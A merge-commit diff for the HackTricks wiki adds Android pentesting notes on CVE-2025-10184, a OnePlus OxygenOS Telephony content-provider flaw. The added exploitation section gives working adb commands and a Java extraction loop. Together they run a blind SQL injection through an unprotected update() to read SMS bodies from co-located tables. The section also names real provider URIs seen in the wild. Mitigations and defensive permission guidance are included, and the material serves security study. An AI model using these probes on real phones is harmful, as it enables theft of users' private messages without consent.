Merge pull request #1429 from HackTricks-wiki/update_CVE-2025-10184__OnePlus_OxygenOS_Telephony_provide_20250924_125101

CVE-2025-10184 OnePlus OxygenOS Telephony provider permissio...

src/mobile-pentesting/android-app-pentesting/android-applications-basics.md

@@ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi
 
 Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.
 
+### Permission semantics and pitfalls (Content Providers)
+
+- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
+- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
+- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
+
 **FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
 
 Example manifest declaration for FileProvider:
@@ -500,6 +506,11 @@ Tools / scripts that speed-up Binder reconnaissance:
 - [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl)
 - [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder)
 - [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8)
+- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
+- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
+- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
+- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
+- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
 
 {{#include ../../banners/hacktricks-training.md}}
 

src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md

@@ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not
   sqlite_sequence
 ```
 
+### writePermission omission + blind SQLi via update()
+
+A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS).
+
+Key idea
+- Exported provider, readPermission set, writePermission omitted
+- update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened
+- Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables
+- If the provider’s table is empty, insert() can be abused to seed a row so update() affects ≥1 row
+
+Discovery workflow
+- Enumerate exported providers and check perms:
+  - drozer: run app.provider.info -a <pkg>
+  - adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "<provider"
+- Look for providers with readPermission set but writePermission missing
+- Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked)
+
+Co-location and schema probe (adb)
+Use sqlite_master to verify the target table exists in the same DB file:
+
+```bash
+adb shell cmd content query \
+  --uri content://service-number/service_number \
+  --where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0'
+```
+
+Seeding a row (if needed)
+If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation:
+
+```bash
+adb shell cmd content insert \
+  --uri content://service-number/service_number \
+  --bind hash_number:s:dummy
+```
+
+Blind Boolean oracle via update()
+- Predicate template: 1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi>
+- TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise
+- Binary search [0..127] to recover each character
+
+Minimal extraction loop (pseudocode)
+```java
+boolean probe(Uri uri, String where) {
+  ContentValues cv = new ContentValues();
+  cv.put("rowid", "123");
+  try {
+    return getContentResolver().update(uri, cv, where, null) > 0;
+  } catch (Exception e) {
+    return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed");
+  }
+}
+
+char leakChar(Uri uri, String subquery, int pos) {
+  int lo = 0, win = 127;
+  while (true) {
+    String where = String.format(
+      "1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
+      subquery, pos, lo, lo + win);
+    if (probe(uri, where)) {
+      if (win == 0) return (char) lo;
+      win = (win > 3) ? (win / 2) : (win - 1);
+    } else {
+      if (lo == 0 && win == 127) return '\0';
+      lo = (win > 0) ? (lo + win) : (lo + 1);
+    }
+  }
+}
+```
+
+adb example of a single probe
+```bash
+# Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57)
+adb shell cmd content update \
+  --uri content://service-number/service_number \
+  --bind rowid:s:123 \
+  --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
+```
+
+Notes
+- Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider
+- insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted)
+- The exact URI and table names differ per OEM/provider; examples seen in the wild include:
+  - content://service-number/service_number
+  - content://push-mms/push
+  - content://push-shop/push_shop
+
+Mitigations for app/ROM developers
+- Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default
+- Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL
+- Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist
+- Keep sensitive tables in a separate DB not shared with untrusted providers
+
 ## **File System-backed Content Providers**
 
 Content providers could be also used to **access files:**
@@ -249,6 +341,11 @@ These changes in recent Android versions mean many legacy exploitation primitive
 
 ## References
 
+- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/)
+- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics)
+- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn)
+- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn)
+- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[]))
 - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
 - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
 - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)